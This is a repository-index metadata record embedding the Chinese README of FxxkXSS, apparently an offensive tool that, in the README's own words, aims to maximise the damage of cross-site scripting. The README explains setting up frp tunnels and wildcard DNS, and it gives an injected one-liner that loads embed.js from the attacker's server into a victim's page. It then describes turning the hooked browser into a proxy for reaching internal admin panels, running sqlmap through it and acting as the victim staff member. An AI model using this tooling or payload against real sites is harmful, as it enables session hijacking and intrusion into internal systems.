{"id":13843560,"url":"https://github.com/Yeuoly/FxxkXSS","last_synced_at":"2025-07-11T19:32:14.961Z","repository":{"id":86021407,"uuid":"357480878","full_name":"Yeuoly/FxxkXSS","owner":"Yeuoly","description":"将令你眼前一亮的XSS利用工具！","archived":false,"fork":false,"pushed_at":"2021-07-24T08:31:06.000Z","size":1020,"stargazers_count":108,"open_issues_count":0,"forks_count":11,"subscribers_count":4,"default_branch":"master","last_synced_at":"2024-11-16T15:25:28.632Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Yeuoly.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2021-04-13T08:34:02.000Z","updated_at":"2024-08-26T13:15:09.000Z","dependencies_parsed_at":null,"dependency_job_id":"3452bbb2-91ba-4c8d-8fac-37569d47a4f8","html_url":"https://github.com/Yeuoly/FxxkXSS","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yeuoly%2FFxxkXSS","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yeuoly%2FFxxkXSS/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yeuoly%2FFxxkXSS/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Yeuoly%2FFxxkXSS/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Yeuoly","download_url":"https://codeload.github.com/Yeuoly/FxxkXSS/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225755025,"owners_count":17519189,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:02:13.494Z","updated_at":"2024-11-21T15:31:08.756Z","avatar_url":"https://github.com/Yeuoly.png","language":"JavaScript","funding_links":[],"categories":["JavaScript"],"sub_categories":[],"readme":"# fuckxss\n\n\u003e 这是一个用来尽可能最大化xss危害的小工具，废话不多说了看下面的介绍吧~\n\n## 直接上手跑Release\n\n#### 需要准备的\n\n1. 一台公网服务器（vps）\n2. 一个有证书（非必要）且能进行泛解析的域名\n3. frp或其他内网穿透服务\n\n\n如果要傻瓜式一点的可以看视频：[【分享】FxxkXSS，一个深入利用后台XSS的工具](https://www.bilibili.com/video/BV1nh411h7pZ)\n\n\n#### 下载\n\n先去release下一下已经编译好了的，这里只编译了win平台的，对于Mac或者Linux可能需要看一下下面的直接跑源码，→ [release](https://github.com/Yeuoly/FxxkXSS/releases/tag/1.0.0)\n\n下到的应该是一个压缩包，我们将其解压，然后找到里面的fxxkxss.exe，点开！\n\n看到的应该是这样的\n\n![static/img/index.png](static/img/index.png)\n\n\n#### 配置frp\n\n然后我们需要一个跑在有公网ip的服务器上的frp，配置服务器上的frp为如下\n\n```yaml\n[common]\ntoken = xxxx\nbind_port = 33333\nbind_addr = 0.0.0.0\n```\n\ntoken可以看做一个秘钥一样的东西，这样别人就不能轻易连接自己的frp服务，bind_port是frp用于和用户通讯的端口，0.0.0.0即默认对所有ip\n\n然后启动\n\n```bash\n./frps -c frps.ini\n```\n\n然后在跑fxxkxss的机器上启动frp，配置如下\n\n```yaml\n[common]\nserver_addr = 服务器的ip\nserver_port = 之前的端口 #33333\n\n[xssclient]\ntype = tcp\nlocal_ip = 127.0.0.1\nlocal_port = 10091\nremote_port = 25567\n\n[xssstatic]\ntype = tcp\nlocal_ip = 127.0.0.1\nlocal_port = 10092\nremote_port = 25568\n```\n\n启动\n\n```bash\n./frpc -c frpc.ini\n```\n\n\n#### 域名解析\n\n假设我们现在的域名是 xss.com，那么新建一个解析 xss.xss.com -\u003e 你的vps\u003cbr\u003e\n\n新建一个解析 *.localhost.xss.com -\u003e 127.0.0.1 （重点，要求一个到127.0.0.1的泛解析）\n\n\n#### 配置fxxkxss\n\n然后我们修改fxxkxss的配置为如下\n\n![](static/img/config.png)\n\nxssclient的remote_port与WS外网端口对应，local_port与WS内网端口对应\u003cbr\u003e\n\nxssstatic的remote_port与资源外网端口对应，local_port与资源外网端口对应 \u003cbr\u003e\n\n资源域名填上面的 xss.xss.com，代理域名填localhost.xss.com\u003cbr\u003e\n\n如果有需要的话，把HTTPS/WSS打开，但是一定要给出证书！\u003cbr\u003e\n\n万一出现一启动就报错的问题，将下面这个文件删了再重启：\u003cbr\u003e\n\nC:\\Users\\\\你的用户名\\AppData\\Roaming\\fuckxss\\config.json\n\n\n#### 开始玩吧~\n\n准备好一个要被xss的网页，并准备好一句话xss：\n\n```javascript\ndocument.body.appendChild(document.createElement('script')).src='http[s]://资源域名:25568/embed.js'\n```\n\n当执行了这么一句话以后，我们就可以在下面这个地方发现被xss的浏览器\n\n![](static/img/getshell.png)\n\n且这里可以发现其编号为0，那么我们可以尝试着向\n\nhttp.80.www.baidu.com.s0.localhost.xss.com:10093发一个请求看看，fxxkxss会将这个请求解析为http://www.baidu.com:80，然后转化为下面这段代码，最后丢给浏览去执行，并返回结果\n\n```javascript\nvar xml = new XMLHttpRequest() || new ActiveXObject('MicroSoft.XMLHTTP');\nxml.open('GET', 'http://www.baidu.com:80')\nxml.send()\nxml.onreadystatechange = function(){\n    //do something\n}\n```\n\n\n那么假设客服后台有一个SQL注入，但是用xss注入数据麻烦的一批，那么就可以用到fxxkxss的这个功能，假设客服后台存在api.xxx.com/getinfo存在注入，那么我们用sqlmap跑这个url：http.80.api.xxx.com.s0.localhost.xss.com:10093/getinfo\u003cbr\u003e\n\n\n那么问题来了，怎么找注入呢？可以用到fxxkxss的代理模块，首先使用\n\n```javascript\nwindow.location.href\n```\n\n获取客服后台地址（假设为api.xxx.com/home），然后使用指令\n\n```javascript\n/generate/proxy_url http://api.xxx.com/home\n```\n\n我们就能获取到一个代理链接，http.80.api.xxx.com.s0.xss.com:10093/home\u003cbr\u003e\n\n我们在这个链接上再加上?fxxkxss_proxy=true，即http.80.api.xxx.com.s0.xss.com:10093/home?fxxkxss_proxy=true\u003cbr\u003e\n\n再拿浏览器去直接访问就好了，不出意外的话会得到一个跟客服后台一模一样的界面，客服能看到什么你就能看到什么， 你摁了什么按钮就相当于客服用了什么按钮，这个功能的底层原理就是 hook XMLHttpRequest配合fxxkxss的代理\n\n## 跑源码\n\n```bash\n# 安装依赖\nnpm install\nyarn\ncnpm install #（慎用）\n\n# 以开发模式启动，请保持9080端口不被占用\nnpm run dev\n\n# 编译\nnpm run build\n\n```\n\n---\n\n#### [教程点我](https://ylday.srmxy.cn/post-page?pid=c6fc485707af90bd34b57393d8e6b812)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FYeuoly%2FFxxkXSS","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FYeuoly%2FFxxkXSS","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FYeuoly%2FFxxkXSS/lists"}